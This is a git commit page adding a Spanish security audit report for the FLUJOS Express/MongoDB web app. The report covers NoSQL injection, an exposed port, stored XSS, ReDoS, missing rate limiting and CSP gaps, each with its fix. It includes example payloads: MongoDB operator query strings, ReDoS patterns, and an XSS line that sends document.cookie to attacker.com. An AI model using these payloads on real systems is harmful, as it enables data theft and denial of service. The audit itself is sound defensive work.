refactor: reorganizar docs y pocs bajo INFO/
- docs/ → INFO/DOCS/CONTEXT/ (documentación técnica en markdown) - FLUJOS/DOCS/ + FLUJOS_DATOS/DOCS/ → INFO/DOCS/ (txts de arquitectura) - POCS/ → INFO/POCS/ (pruebas de concepto) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
parent
83f67b76b4
commit
954f47996f
33 changed files with 0 additions and 0 deletions
205
INFO/DOCS/CONTEXT/SEGURIDAD.md
Normal file
205
INFO/DOCS/CONTEXT/SEGURIDAD.md
Normal file
|
|
@ -0,0 +1,205 @@
|
|||
# Informe de Seguridad — FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Auditor:** Análisis de código estático + pruebas manuales en local
|
||||
**Scope:** API REST (`FLUJOS_APP.js`), frontend JS, configuración nginx/systemd
|
||||
|
||||
---
|
||||
|
||||
## Resumen ejecutivo
|
||||
|
||||
La aplicación despliega una API Express + MongoDB sin autenticación ni rate limiting. Se han identificado **2 vulnerabilidades críticas** explotables ahora mismo, 3 altas y 2 medias.
|
||||
|
||||
---
|
||||
|
||||
## Vulnerabilidades encontradas
|
||||
|
||||
### 🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)
|
||||
|
||||
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js` líneas 57–72
|
||||
**Estado:** CONFIRMADA. Probada manualmente, devuelve datos reales.
|
||||
|
||||
Express parsea `?tema[$ne]=nada` como el objeto JavaScript `{ $ne: "nada" }`, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.
|
||||
|
||||
**Vectores explotables:**
|
||||
```
|
||||
GET /api/data?tema[$ne]=nada&nodos=500
|
||||
→ Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)
|
||||
|
||||
GET /api/data?tema[$gt]=&nodos=500
|
||||
→ Equivalente a "todos los documentos donde tema > ''"
|
||||
|
||||
GET /api/data?subtematica[$regex]=.*&tema=guerra+global
|
||||
→ Itera toda la subcolección
|
||||
|
||||
GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
|
||||
→ Fuerza error de tipo, puede revelar stack traces en logs
|
||||
```
|
||||
|
||||
**Fix (10 min):**
|
||||
```javascript
|
||||
// En FLUJOS_APP.js, justo después de desestructurar req.query:
|
||||
function sanitizeParam(val) {
|
||||
if (typeof val !== 'string') return undefined;
|
||||
return val.trim();
|
||||
}
|
||||
const tema = sanitizeParam(req.query.tema);
|
||||
const subtematica = sanitizeParam(req.query.subtematica);
|
||||
const palabraClave = sanitizeParam(req.query.palabraClave);
|
||||
const fechaInicio = sanitizeParam(req.query.fechaInicio);
|
||||
const fechaFin = sanitizeParam(req.query.fechaFin);
|
||||
const nodos = sanitizeParam(req.query.nodos);
|
||||
const complejidad = sanitizeParam(req.query.complejidad);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente
|
||||
|
||||
**Estado:** CONFIRMADA. `ss -tlnp` muestra `0.0.0.0:3000`.
|
||||
|
||||
Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.
|
||||
|
||||
```
|
||||
LISTEN 0.0.0.0:3000 → accesible desde internet sin TLS
|
||||
```
|
||||
|
||||
**Fix (1 línea):**
|
||||
```javascript
|
||||
// FLUJOS_APP.js línea 235:
|
||||
app.listen(port, '127.0.0.1', () => { ... }); // era '0.0.0.0'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟠 ALTA 1 — XSS Almacenado (Stored XSS)
|
||||
|
||||
**Archivo:** `FLUJOS/VISUALIZACION/public/output_int_sec.js` línea 90–92
|
||||
**Archivo:** `FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html` líneas 88, 102
|
||||
|
||||
El contenido de nodos (`content`) proveniente de MongoDB se inserta con `innerHTML`:
|
||||
```javascript
|
||||
detailPanel.innerHTML = `
|
||||
<h2>Detalle</h2>
|
||||
<pre>${content || 'No hay contenido disponible.'}</pre>
|
||||
`;
|
||||
```
|
||||
|
||||
Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`), se ejecuta en el navegador de todos los visitantes.
|
||||
|
||||
**Fix:**
|
||||
```javascript
|
||||
const pre = document.createElement('pre');
|
||||
pre.textContent = content || 'No hay contenido disponible.';
|
||||
const h2 = document.createElement('h2');
|
||||
h2.textContent = 'Detalle';
|
||||
detailPanel.replaceChildren(h2, pre);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟠 ALTA 2 — ReDoS via `$regex` sin sanitizar
|
||||
|
||||
**Archivo:** `FLUJOS_APP.js` línea 72
|
||||
|
||||
```javascript
|
||||
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
|
||||
```
|
||||
|
||||
Un patrón como `(a+)+$` o `(.*a){20}` puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).
|
||||
|
||||
**Fix:**
|
||||
```javascript
|
||||
if (palabraClave) {
|
||||
if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
|
||||
res.status(400).json({ error: 'palabraClave inválida' });
|
||||
return;
|
||||
}
|
||||
// Escapar metacaracteres regex
|
||||
const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||
nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟠 ALTA 3 — Sin rate limiting
|
||||
|
||||
No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.
|
||||
|
||||
**Fix:**
|
||||
```bash
|
||||
npm install express-rate-limit
|
||||
```
|
||||
```javascript
|
||||
const rateLimit = require('express-rate-limit');
|
||||
app.use('/api/', rateLimit({
|
||||
windowMs: 60 * 1000, // 1 minuto
|
||||
max: 60, // 60 peticiones por minuto por IP
|
||||
standardHeaders: true,
|
||||
legacyHeaders: false,
|
||||
}));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟡 MEDIA 1 — CSP con `unsafe-inline`
|
||||
|
||||
La CSP actual permite `'unsafe-inline'` en `scriptSrc`. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.
|
||||
|
||||
Origen del problema: los `<script>` inline en los HTML (fade-out del fondo, setTimeout).
|
||||
|
||||
**Fix:** Mover ese JS inline a ficheros `.js` separados y eliminar `'unsafe-inline'` del CSP.
|
||||
|
||||
---
|
||||
|
||||
### 🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto
|
||||
|
||||
Solo se usa `helmet.contentSecurityPolicy()`, dejando otras protecciones de Helmet desactivadas. La cabecera `X-Powered-By: Express` está visible, revelando el stack.
|
||||
|
||||
**Fix:**
|
||||
```javascript
|
||||
app.use(helmet()); // activa todo por defecto
|
||||
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Lo que está bien
|
||||
|
||||
| Componente | Estado |
|
||||
|---|---|
|
||||
| HTTPS con Let's Encrypt | Activo en nginx |
|
||||
| MongoDB en 127.0.0.1 | No expuesto al exterior |
|
||||
| Límite de nodos máx. 500 | `Math.min(parseInt(nodos) || 100, 500)` |
|
||||
| Helmet CSP básico | Activo |
|
||||
| No hay SQL injection | BD es MongoDB, no SQL |
|
||||
| No directory listing en /wiki-images/ | Express static lo rechaza |
|
||||
| HTTP → HTTPS redirect | Configurado en nginx |
|
||||
|
||||
---
|
||||
|
||||
## Configuración nginx relevante (theflows.net)
|
||||
|
||||
```
|
||||
/etc/nginx/sites-enabled/theflows.net
|
||||
├── HTTP :80 → redirect 301 HTTPS
|
||||
├── HTTPS :443 ssl http2 (Let's Encrypt)
|
||||
│ ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
|
||||
│ └── /api/ → proxy_pass http://127.0.0.1:3000/api/
|
||||
```
|
||||
|
||||
**Problema:** el backend Node también escucha en `0.0.0.0:3000`, así que nginx solo es un proxy opcional, no obligatorio.
|
||||
|
||||
---
|
||||
|
||||
## Orden de prioridad de fixes
|
||||
|
||||
| # | Vulnerabilidad | Impacto | Esfuerzo |
|
||||
|---|---|---|---|
|
||||
| 1 | NoSQL Injection | CRÍTICO | 10 min |
|
||||
| 2 | Puerto 3000 público | CRÍTICO | 1 línea |
|
||||
| 3 | XSS stored (innerHTML) | ALTO | 15 min |
|
||||
| 4 | ReDoS via palabraClave | ALTO | 10 min |
|
||||
| 5 | Rate limiting | ALTO | 15 min |
|
||||
| 6 | CSP unsafe-inline | MEDIO | 30 min |
|
||||
| 7 | Helmet completo | MEDIO | 5 min |
|
||||
Loading…
Add table
Add a link
Reference in a new issue